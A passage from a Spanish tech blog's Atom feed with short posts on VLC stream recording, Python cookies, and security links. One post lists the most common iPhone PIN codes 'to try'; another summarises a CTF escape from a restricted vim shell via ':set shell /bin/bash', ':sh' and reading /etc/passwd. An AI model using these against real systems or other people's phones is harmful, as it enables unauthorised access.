&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz-CPCOXBQV4RrNzQXsTxirk3aL4JxlxliCiaizFWTLIAndBk-1mCab0Pr7A4HdYQ5eteylvmENAL9eQDTDNnSpKgcBioFG3I_Xu0W3DEZepkNQJBDUPLWIiz3P-1bzmID2Pu43byv75k/s1600/blog-streaming2&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;308&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz-CPCOXBQV4RrNzQXsTxirk3aL4JxlxliCiaizFWTLIAndBk-1mCab0Pr7A4HdYQ5eteylvmENAL9eQDTDNnSpKgcBioFG3I_Xu0W3DEZepkNQJBDUPLWIiz3P-1bzmID2Pu43byv75k/s320/blog-streaming2&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Pulsar siguiente&lt;/li&gt;
&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSYNrlfYIGA0RGASxEGl3J4FeQ2xFVxDyoyXT-aKvHm1aCAvnhGA35o49CG49_akAcv-v6YRCQOXnbcXCKdpfMWO1dK1uFTbGJKmhIfl2eceyj_ru7k9OGR26-OqsAr1xnbeIAiKbpjLI/s1600/blog-streaming&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;272&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSYNrlfYIGA0RGASxEGl3J4FeQ2xFVxDyoyXT-aKvHm1aCAvnhGA35o49CG49_akAcv-v6YRCQOXnbcXCKdpfMWO1dK1uFTbGJKmhIfl2eceyj_ru7k9OGR26-OqsAr1xnbeIAiKbpjLI/s320/blog-streaming&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Seleccionar &quot;Mostrar en local&quot; para ver y grabar a la vez&lt;/li&gt;
&lt;li&gt;Elegir opciones de codificación&lt;/li&gt;
&lt;li&gt;Pulsar &quot;Añadir&quot; archivo y elegir donde almacenar la grabación&lt;/li&gt;
&lt;li&gt;Pulsar &quot;Emitir&quot; para comenzar a visualizar y a grabar el streaming&lt;/li&gt;
&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/63443829003346891/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/63443829003346891' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/63443829003346891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/63443829003346891'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2011/12/como-grabar-un-streaming-con-vlc.html' title='Como grabar un streaming con VLC'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz-CPCOXBQV4RrNzQXsTxirk3aL4JxlxliCiaizFWTLIAndBk-1mCab0Pr7A4HdYQ5eteylvmENAL9eQDTDNnSpKgcBioFG3I_Xu0W3DEZepkNQJBDUPLWIiz3P-1bzmID2Pu43byv75k/s72-c/blog-streaming2" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-7558366517204612236</id><published>2011-06-17T17:30:00.000+02:00</published><updated>2011-06-17T17:30:38.752+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Moviles"/><title type='text'>Contraseñas frecuentes en IPhone</title><content type='html'>Si tienes un&amp;nbsp;móvil&amp;nbsp;y quieres probar combinaciones aquí tienes algunas de las más usadas:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif; font-size: 14px; line-height: 18px;&quot;&gt;0000; 2580; 1111; 5555; 5683; 0852; 2222; 1212 y 1998.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif; font-size: 14px; line-height: 18px;&quot;&gt;&lt;span style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; /&gt;&lt;br style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; /&gt;Leer más:&amp;nbsp;&lt;a href=&quot;http://blog.segu-info.com.ar/2011/06/1234-la-contrasena-favorita-en-el.html#ixzz1PY0IlpLC&quot; style=&quot;color: #003399; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: underline;&quot;&gt;Segu-Info: &quot;1234&quot;, la contraseña favorita en el iPhone&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;http://blog.segu-info.com.ar/2011/06/1234-la-contrasena-favorita-en-el.html#ixzz1PY0IlpLC&quot; style=&quot;color: #003399; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: underline;&quot;&gt;http://blog.segu-info.com.ar/2011/06/1234-la-contrasena-favorita-en-el.html#ixzz1PY0IlpLC&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif; font-size: 14px; line-height: 18px;&quot;&gt;&lt;span style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 14px; line-height: 18px;&quot;&gt;Hay que resaltar:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 14px; line-height: 18px;&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif; font-size: 14px; line-height: 18px;&quot;&gt;La contraseña menos previsible de las más usadas es el 5683 que en viejos teclados con más de un signo por tecla coincidía con la palabra &quot;love&quot;. Las diez combinaciones reseñadas representan el 15% entre 10.000 combinaciones posibles. Con una tasa de acceso del 15%, ello supone que uno de cada siete móviles puede abrirse con este tipo de contraseñas.&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif; font-size: 14px; line-height: 18px;&quot;&gt;&lt;br style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; /&gt;Los números 9, 8, 7 y 6 son los menos usados para iniciar la contraseña. El mejor consejo es buscar una combinación realmente aleatoria, el problema es que es más difícil de recordar.&quot;&lt;span style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; /&gt;&lt;br style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; /&gt;Leer más:&amp;nbsp;&lt;a href=&quot;http://blog.segu-info.com.ar/2011/06/1234-la-contrasena-favorita-en-el.html#ixzz1PY0nPZRT&quot; style=&quot;color: #003399; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: underline;&quot;&gt;Segu-Info: &quot;1234&quot;, la contraseña favorita en el iPhone&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;http://blog.segu-info.com.ar/2011/06/1234-la-contrasena-favorita-en-el.html#ixzz1PY0nPZRT&quot; style=&quot;color: #003399; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: underline;&quot;&gt;http://blog.segu-info.com.ar/2011/06/1234-la-contrasena-favorita-en-el.html#ixzz1PY0nPZRT&lt;/a&gt;&amp;nbsp;&lt;br style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif; font-size: 14px; line-height: 18px;&quot;&gt;&lt;span style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;, Geneva, Arial, Verdana, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 14px; line-height: 18px;&quot;&gt;Autor del estudio:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://amitay.us/blog/files/most_common_iphone_passcodes.php&quot;&gt;http://amitay.us/blog/files/most_common_iphone_passcodes.php&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/7558366517204612236/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/7558366517204612236' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7558366517204612236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7558366517204612236'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2011/06/contrasenas-frecuentes-en-iphone.html' title='Contraseñas frecuentes en IPhone'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-3486165398046256329</id><published>2011-06-11T17:27:00.000+02:00</published><updated>2011-06-11T17:27:30.737+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Programacion"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>Guardar cookies en python</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrs6uQ4t1CORe-Eh8jvjbkz9nK6-NZw5n9QdCPt7d_GFYCp0LZlF_ceTJDbpKlinx2stF50_BSwSvhoxrdPIGM_XG2KMHyw0y7xRBvy968iryFGU6jGVuIRvc1fFTTPx24HGSShIWUbo/s1600/python.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: justify;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrs6uQ4t1CORe-Eh8jvjbkz9nK6-NZw5n9QdCPt7d_GFYCp0LZlF_ceTJDbpKlinx2stF50_BSwSvhoxrdPIGM_XG2KMHyw0y7xRBvy968iryFGU6jGVuIRvc1fFTTPx24HGSShIWUbo/s200/python.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Post rápido para no volvernos locos manejando cookies en python.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Si quieres guardar las cookies en un fichero hay que establecer ignore_discard=True en los métodos load y save:&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;cookies.load(ignore_discard=True)&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;cookies.save(ignore_discard=True)&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Solución leída en: &lt;a href=&quot;http://stackoverflow.com/questions/3630307/cookiejarlib-wont-save-cookies-back-to-file&quot;&gt;http://stackoverflow.com/questions/3630307/cookiejarlib-wont-save-cookies-back-to-file&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Más info web oficial:&amp;nbsp;&lt;a href=&quot;http://docs.python.org/library/cookielib.html&quot;&gt;http://docs.python.org/library/cookielib.html&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/3486165398046256329/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/3486165398046256329' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/3486165398046256329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/3486165398046256329'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2011/06/guardar-cookies-en-python.html' title='Guardar cookies en python'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrs6uQ4t1CORe-Eh8jvjbkz9nK6-NZw5n9QdCPt7d_GFYCp0LZlF_ceTJDbpKlinx2stF50_BSwSvhoxrdPIGM_XG2KMHyw0y7xRBvy968iryFGU6jGVuIRvc1fFTTPx24HGSShIWUbo/s72-c/python.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-7167840329009291089</id><published>2011-06-04T14:15:00.001+02:00</published><updated>2011-06-04T14:15:47.190+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CTF"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad / Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="vi / vim"/><title type='text'>vi shell</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvM3Myp_FBGvLlpqAOkUGtfK5LbSuMsiIuUtP9-tlp31-8BXUq09Ah2tZ3GWaZWCCUKRR5Bm_Wy5Czt0YRjbkcwFG9tQil_H4jLyU_ptoGm1lRcH3433cJCaLvi8wfkoP-1sJseosv7JM/s1600/dc-18-logo-wide.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;117&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvM3Myp_FBGvLlpqAOkUGtfK5LbSuMsiIuUtP9-tlp31-8BXUq09Ah2tZ3GWaZWCCUKRR5Bm_Wy5Czt0YRjbkcwFG9tQil_H4jLyU_ptoGm1lRcH3433cJCaLvi8wfkoP-1sJseosv7JM/s320/dc-18-logo-wide.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Buenas,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Leyendo sobre las CTF quals de Defcon 18 me encuentro con una interesante característica de Vi. Ejecución de una shell mediante el editor de texto.&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Mas info:&lt;a href=&quot;http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-trivial-200.html&quot;&gt;http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-trivial-200.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Un resumen de lo expuesto:&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px;&quot;&gt;A few useful VIM commands:&lt;br /&gt;
&lt;code&gt;:q! =&amp;gt; quit&lt;br /&gt;
:o =&amp;gt; open a file&lt;br /&gt;
:!&amp;lt;command&amp;gt; =&amp;gt; run command *in default shell*&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
We tried to list files with&amp;nbsp;&lt;code&gt;:!ls&lt;/code&gt;&amp;nbsp;but it did not work. So we opened&amp;nbsp;&lt;i&gt;/etc/passwd&lt;/i&gt;&amp;nbsp;with&amp;nbsp;&lt;code&gt;:o /etc/passwd&lt;/code&gt;&amp;nbsp;and discovered that the default shell of sheep user was&amp;nbsp;&lt;i&gt;/usr/bin/vim&lt;/i&gt;. Simply change it with:&lt;br /&gt;
&lt;code&gt;:set shell /bin/bash&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
Then we were able to list files (&lt;code&gt;:!ls&lt;/code&gt;)&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Times New Roman&#39;; font-size: small; line-height: normal;&quot;&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Times New Roman&#39;; font-size: small; line-height: normal;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
También es posible escribir (:sh) o (:shell) y obtener la shell</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/7167840329009291089/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/7167840329009291089' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7167840329009291089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7167840329009291089'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2011/06/vi-shell.html' title='vi shell'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvM3Myp_FBGvLlpqAOkUGtfK5LbSuMsiIuUtP9-tlp31-8BXUq09Ah2tZ3GWaZWCCUKRR5Bm_Wy5Czt0YRjbkcwFG9tQil_H4jLyU_ptoGm1lRcH3433cJCaLvi8wfkoP-1sJseosv7JM/s72-c/dc-18-logo-wide.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-5657106888129256239</id><published>2011-04-04T21:20:00.000+02:00</published><updated>2011-04-04T21:20:42.918+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="APT"/><title type='text'>Anatomía de un ataque (RSA)</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
Desde RSA, han comentado cómo fue el ataque que recibieron en sus sistemas.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.rsa.com/wp-content/uploads/APT-chart1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;226&quot; src=&quot;http://blogs.rsa.com/wp-content/uploads/APT-chart1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Info:&amp;nbsp;&lt;a href=&quot;http://blogs.rsa.com/rivner/anatomy-of-an-attack/&quot;&gt;http://blogs.rsa.com/rivner/anatomy-of-an-attack/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/5657106888129256239/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/5657106888129256239' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/5657106888129256239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/5657106888129256239'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2011/04/anatomia-de-un-ataque-rsa.html' title='Anatomía de un ataque (RSA)'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-121108685847571384</id><published>2011-02-12T11:30:00.000+01:00</published><updated>2011-02-12T11:30:16.325+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="TodoLinux"/><title type='text'>TodoLinux Nº123</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
Después de un tiempo sin publicar en TodoLinux, este mes aparezco por partida doble.&lt;br /&gt;
&lt;br /&gt;
Los dos orientados a montar plataformas Web, por un lado cómo montar una Wiki y por otro lado cómo montar un CMS, en este caso Joomla!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVzMC743EmtkfWs7Fv55UjdEuYO2ws7EhyCNns1Asv1z9NXNXKPJOKWCXnIEWYOODu7WAFSDOpgycCR1OvdVDeKxvL88tKTMPKbDYrYdnaAtG_SAf8toSFrXdjtnC4M-xLAGI-wAT_QJY/s1600/portadatodolinux.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVzMC743EmtkfWs7Fv55UjdEuYO2ws7EhyCNns1Asv1z9NXNXKPJOKWCXnIEWYOODu7WAFSDOpgycCR1OvdVDeKxvL88tKTMPKbDYrYdnaAtG_SAf8toSFrXdjtnC4M-xLAGI-wAT_QJY/s1600/portadatodolinux.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;David&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/121108685847571384/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/121108685847571384' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/121108685847571384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/121108685847571384'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2011/02/todolinux-n123.html' title='TodoLinux Nº123'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVzMC743EmtkfWs7Fv55UjdEuYO2ws7EhyCNns1Asv1z9NXNXKPJOKWCXnIEWYOODu7WAFSDOpgycCR1OvdVDeKxvL88tKTMPKbDYrYdnaAtG_SAf8toSFrXdjtnC4M-xLAGI-wAT_QJY/s72-c/portadatodolinux.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-2187712448439702059</id><published>2011-01-22T18:25:00.000+01:00</published><updated>2011-01-22T18:25:07.981+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Documentacion"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Lógica"/><title type='text'>Intypedia, seguridad de la informacion</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;Buenas,&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Este post es para publicitar &lt;a href=&quot;http://www.intypedia.com/&quot;&gt;Intypedia&lt;/a&gt;, un proyecto que pretende ser una enciclopedia de la seguridad de la información.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbOnfTqCdadz69smYB5RgN5-oKi-btpsRPexhsb98YJCxLzCHnXnAXFH_9ydCmx8-o4j5cdCz_NmdJdGXqSALoOAtFiomhFgbr_B4rn9REgbFA-q9hhxySerm2tCg_hgeapKYVVIkdR7I/s1600/intypedia.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;88&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbOnfTqCdadz69smYB5RgN5-oKi-btpsRPexhsb98YJCxLzCHnXnAXFH_9ydCmx8-o4j5cdCz_NmdJdGXqSALoOAtFiomhFgbr_B4rn9REgbFA-q9hhxySerm2tCg_hgeapKYVVIkdR7I/s320/intypedia.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El contenido está creado por expertos en la materia, cada mes saldrá un&amp;nbsp;vídeo&amp;nbsp;explicando un nuevo tema. Hasta el momento están publicados los siguientes&amp;nbsp;vídeos:&lt;/div&gt;&lt;br /&gt;
